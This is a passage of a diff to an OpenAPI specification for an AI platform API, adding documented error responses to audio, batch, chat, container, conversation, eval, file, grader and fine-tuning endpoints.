+ description: The voice or speech audio could not be processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -718,8 +747,49 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateTranscriptionResponseStreamEvent'
+ '400':
+ description: Invalid audio input or request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '413':
+ description: The audio request exceeds the supported size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The audio could not be processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '502':
+ description: The upstream audio service connection failed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -1271,8 +1341,49 @@ paths:
- $ref: '#/components/schemas/CreateTranslationResponseVerboseJson'
x-stainless-skip:
- go
+ '400':
+ description: Invalid audio input or request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '413':
+ description: The audio request exceeds the supported size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The audio could not be processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '502':
+ description: The upstream audio service connection failed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -1348,6 +1459,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
+ '400':
+ description: Invalid consent recording or consent phrase.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1388,6 +1511,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentListResource'
+ '400':
+ description: Invalid pagination parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the pagination cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1416,6 +1551,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
+ '400':
+ description: Invalid consent recording ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1449,6 +1596,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentResource'
+ '400':
+ description: Invalid consent recording ID or update.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1481,6 +1640,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceConsentDeletedResource'
+ '400':
+ description: Invalid consent recording ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1509,6 +1680,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VoiceResource'
+ '400':
+ description: Invalid voice request, consent recording, or audio sample.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the consent recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The audio sample could not be processed or the voice could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: audio
examples:
@@ -1540,6 +1729,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
+ '400':
+ description: The request is invalid or the account cannot create a batch.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error prevented the batch from being created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: The batch could not be created because the service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1637,6 +1850,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListBatchesResponse'
+ '400':
+ description: Invalid pagination parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No batch was found with the specified pagination cursor.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1724,6 +1955,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
+ '400':
+ description: Invalid batch ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No batch was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1800,6 +2049,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Batch'
+ '400':
+ description: Invalid batch ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No batch was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The batch's current status does not allow cancellation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request was rejected because a rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: batch
examples:
@@ -1911,6 +2184,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionList'
+ '400':
+ description: Invalid pagination or filter parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
path: list
@@ -2012,8 +2299,43 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateChatCompletionStreamResponse'
+ '400':
+ description: Invalid chat completion request or incompatible request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '404':
+ description: The requested model or a referenced resource was not found or is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The chat completion could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -2840,6 +3162,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -2928,6 +3264,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateChatCompletionResponse'
+ '400':
+ description: Invalid metadata update.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3007,6 +3363,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionDeleted'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3076,6 +3446,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatCompletionMessageList'
+ '400':
+ description: Invalid message pagination parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: No stored chat completion was found with the specified ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: An internal error prevented the request from being completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chat
examples:
@@ -3132,8 +3522,43 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateCompletionResponse'
+ '400':
+ description: Invalid completion request or incompatible request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '404':
+ description: The requested model was not found, is unavailable, or does not support this endpoint.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The completion could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -3300,6 +3725,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerListResource'
+ '404':
+ description: The container specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3349,6 +3780,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
+ '400':
+ description: The container configuration or supplied skill is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3415,6 +3852,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
+ '404':
+ description: The container was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3453,6 +3896,12 @@ paths:
responses:
'200':
description: OK
+ '404':
+ description: The container was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3499,6 +3948,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
+ '400':
+ description: The file input is invalid, or the container file limit would be exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The container was not found or has expired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3561,6 +4022,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileListResource'
+ '404':
+ description: The container was not found or has expired, or the file specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3612,6 +4079,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
+ '404':
+ description: The container was not found or has expired, or the file was not found in the container.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3650,6 +4123,12 @@ paths:
responses:
'200':
description: OK
+ '404':
+ description: The container was not found or has expired, or the file was not found in the container.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3685,6 +4164,12 @@ paths:
responses:
'200':
description: Success
+ '404':
+ description: The container was not found or has expired, or the file was not found in the container.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3744,8 +4229,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
+ '400':
+ description: The items are invalid, are already in the conversation, or the conversation is locked.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The conversation update could not be finalized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: create-item
@@ -3940,6 +4443,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
+ '400':
+ description: The stored encrypted item content could not be validated.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation or the item specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4032,6 +4547,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItem'
+ '404':
+ description: The conversation or the item in that conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4108,8 +4629,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '400':
+ description: The item cannot be removed while the conversation is locked.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation or the item in that conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The conversation update could not be finalized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: delete-item
@@ -4173,8 +4712,37 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateEmbeddingResponse'
+ '400':
+ description: Invalid embedding input or request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The embedding request could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -4423,6 +4991,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '400':
+ description: The evaluation input or grader configuration is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4604,6 +5178,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '404':
+ description: The evaluation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4706,6 +5286,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '400':
+ description: The evaluation name or metadata is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4820,12 +5412,18 @@ paths:
- object
- deleted
- eval_id
+ '400':
+ description: The evaluation cannot be deleted while it has unfinished runs.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'404':
description: Evaluation not found.
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4912,6 +5510,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunList'
+ '400':
+ description: The run list parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or the run specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5048,9 +5658,21 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or a referenced resource was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The evaluation run could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: evals
examples:
@@ -5232,6 +5854,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRun'
+ '400':
+ description: The evaluation run does not belong to the specified evaluation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or evaluation run was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5645,12 +6279,18 @@ paths:
run_id:
type: string
example: evalrun_677469f564d48190807532a852da3afb
+ '400':
+ description: The evaluation run cannot be deleted until it is finished.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'404':
description: Run not found
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5750,6 +6390,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItemList'
+ '400':
+ description: The output item list parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or evaluation run was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5884,6 +6536,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItem'
+ '400':
+ description: The output item was not found, its identifier is invalid, or the run does not belong to the evaluation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or evaluation run was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -6025,6 +6689,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFilesResponse'
+ '400':
+ description: The file listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The file specified by the after cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6122,6 +6804,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OpenAIFile'
+ '400':
+ description: The file upload request is invalid or exceeds a file size or storage quota limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The file could not be uploaded because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6196,6 +6896,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteFileResponse'
+ '404':
+ description: The file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6247,6 +6959,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OpenAIFile'
+ '404':
+ description: The file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6302,6 +7026,30 @@ paths:
application/json:
schema:
type: string
+ '400':
+ description: The file cannot be downloaded for its purpose or the account does not have permission to download it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The file could not be downloaded because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6348,6 +7096,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunGraderResponse'
+ '400':
+ description: The grader definition or request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
group: graders
@@ -6579,6 +7339,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ValidateGraderResponse'
+ '400':
+ description: The grader definition or request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
group: graders
@@ -6662,6 +7434,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -6721,6 +7505,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
+ '400':
+ description: The request is invalid or checkpoint permissions cannot be changed for the requested projects or job state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The checkpoint or its fine-tuning job was not found, or the checkpoint cannot be shared.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -6778,6 +7580,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteFineTuningCheckpointPermissionResponse'
+ '400':
+ description: The checkpoint permission cannot be removed for the requested project or job state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The checkpoint, permission, associated project, or fine-tuning job was not found, or the checkpoint cannot be shared.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -6816,6 +7636,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The request is invalid or the organization does not meet the requirements to create a fine-tuning job.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: A request or fine-tuning job limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7235,6 +8067,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListPaginatedFineTuningJobsResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7310,6 +8154,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7393,6 +8249,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
+ '400':
+ description: The fine-tuning job cannot be cancelled in its current state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The fine-tuning job was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7466,6 +8340,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningJobCheckpointsResponse'
+ '400':
+ description: The query parameters are invalid.
+ content:
+ application/json:
+ schema:
